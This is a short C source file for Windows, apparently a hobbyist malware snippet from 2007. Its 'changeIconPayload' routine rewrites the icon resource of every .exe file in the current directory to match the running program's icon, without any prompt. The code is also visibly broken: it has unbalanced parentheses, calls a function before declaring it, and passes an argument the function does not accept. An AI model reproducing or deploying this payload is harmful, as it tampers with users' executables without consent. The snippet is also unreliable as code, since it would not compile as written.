/* Change icons of ALL exe's to the icon this is run from - illuz1oN (29/12/07 : 00:45) */
#include <windows.h>
HANDLE hFind;
WIN32_FIND_DATA fData;
char szMask[] = "*.exe";
void getFiles(void)
{
    hFind = FindFirstFile(szMask,&fData);
    changeIconPayload(fData.cFileName);
    while((FindNextFile(hFind,&fData))
    {
        changeIconPayload(fData.cFileName);
    }     
}
void changeIconPayload() //Thanks MSDN, You Pwnz!
{
     char hMe[512];
     GetModuleFileName(0,hMe,512);
     HRSRC hResLoad;     
     HANDLE hExe;         
     HRSRC hRes;         
     HANDLE hUpdateRes;  
     char *lpResLock;    
     BOOL result;     
     hExe = LoadLibrary(hMe); 
     if (hExe != 0) 
     {
         hRes = FindResource(hExe,"ICON",RT_ICON);
         if(hRes != 0)
         {
             hResLoad = LoadResource(hExe,hRes); 
             if (hResLoad != 0) 
             {
                 lpResLock = LockResource(hResLoad);
                 if(lpResLock != 0)
                 {
                     hUpdateRes = BeginUpdateResource(fData.cFileName,0);
                     if(hUpdateRes != 0)
                     {
                         result = UpdateResource(hUpdateRes,RT_ICON,"ICON",MAKELANGID(LANG_NEUTRAL,SUBLANG_NEUTRAL),
                         lpResLock,SizeofResource(hExe,hRes)); 
                         if(result != 0)
                         {
                             if((EndUpdateResource(hUpdateRes,0) != 0)
                             {
                                 if((FreeLibrary(hExe)) != 0)
                                 {
                                     //Full changes complete!
                                 }
                             }
                         }
                     }
                 }
             }
         }
     }
}